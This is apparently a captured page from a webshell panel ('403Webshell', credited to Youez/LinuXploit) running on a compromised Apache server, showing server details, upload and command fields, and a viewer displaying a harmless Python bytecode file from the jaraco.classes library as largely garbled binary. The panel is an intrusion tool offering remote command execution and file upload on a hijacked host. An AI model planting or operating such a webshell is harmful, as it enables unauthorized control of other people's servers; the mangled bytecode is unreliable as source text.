403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jaraco/classes/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jaraco/classes/__pycache__/meta.cpython-311.pyc
�

�2`=��B�dZGd�de��ZGd�de��ZdS)z#
meta.py

Some useful metaclasses.
c��eZdZdZd�ZdS)�LeafClassesMetaa�
    A metaclass for classes that keeps track of all of them that
    aren't base classes.

    >>> Parent = LeafClassesMeta('MyParentClass', (), {})
    >>> Parent in Parent._leaf_classes
    True
    >>> Child = LeafClassesMeta('MyChildClass', (Parent,), {})
    >>> Child in Parent._leaf_classes
    True
    >>> Parent in Parent._leaf_classes
    False

    >>> Other = LeafClassesMeta('OtherClass', (), {})
    >>> Parent in Other._leaf_classes
    False
    >>> len(Other._leaf_classes)
    1
    c��t|d��st��|_t|d��}|�|��|t|��z}dS)N�
_leaf_classes)�hasattr�setr�getattr�add)�cls�name�bases�attrs�leaf_classess     �5/usr/lib/python3/dist-packages/jaraco/classes/meta.py�__init__zLeafClassesMeta.__init__sW���s�O�,�,�	&� #���C���s�O�4�4�����������E�
�
�"����N)�__name__�
__module__�__qualname__�__doc__r�rrrrs-��������(#�#�#�#�#rrc�&��eZdZdZdZ�fd�Z�xZS)�
TagRegisteredaY
    As classes of this metaclass are created, they keep a registry in the
    base class of all classes by a class attribute, indicated by attr_name.

    >>> FooObject = TagRegistered('FooObject', (), dict(tag='foo'))
    >>> FooObject._registry['foo'] is FooObject
    True
    >>> BarObject = TagRegistered('Barobject', (FooObject,), dict(tag='bar'))
    >>> FooObject._registry is BarObject._registry
    True
    >>> len(FooObject._registry)
    2

    '...' below should be 'jaraco.classes' but for pytest-dev/pytest#3396
    >>> FooObject._registry['bar']
    <class '....meta.Barobject'>
    �tagc����tt|���|||��t|d��si|_|j}t
||jd��}|r||j|<dSdS)N�	_registry)�superrrrr�	__class__r�	attr_name)r
rr�	namespace�meta�attrrs      �rrzTagRegistered.__init__;s|���
�m�S�!�!�*�*�4��	�B�B�B��s�K�(�(�	��C�M��}���s�D�N�D�1�1���	&�"%�C�M�$����	&�	&r)rrrrrr�
__classcell__)rs@rrr&sI���������$�I�&�&�&�&�&�&�&�&�&rrN)r�typerrrrr�<module>r$sm����#�#�#�#�#�d�#�#�#�<&�&�&�&�&�D�&�&�&�&�&r

Youez - 2016 - github.com/yon3zu
LinuXploit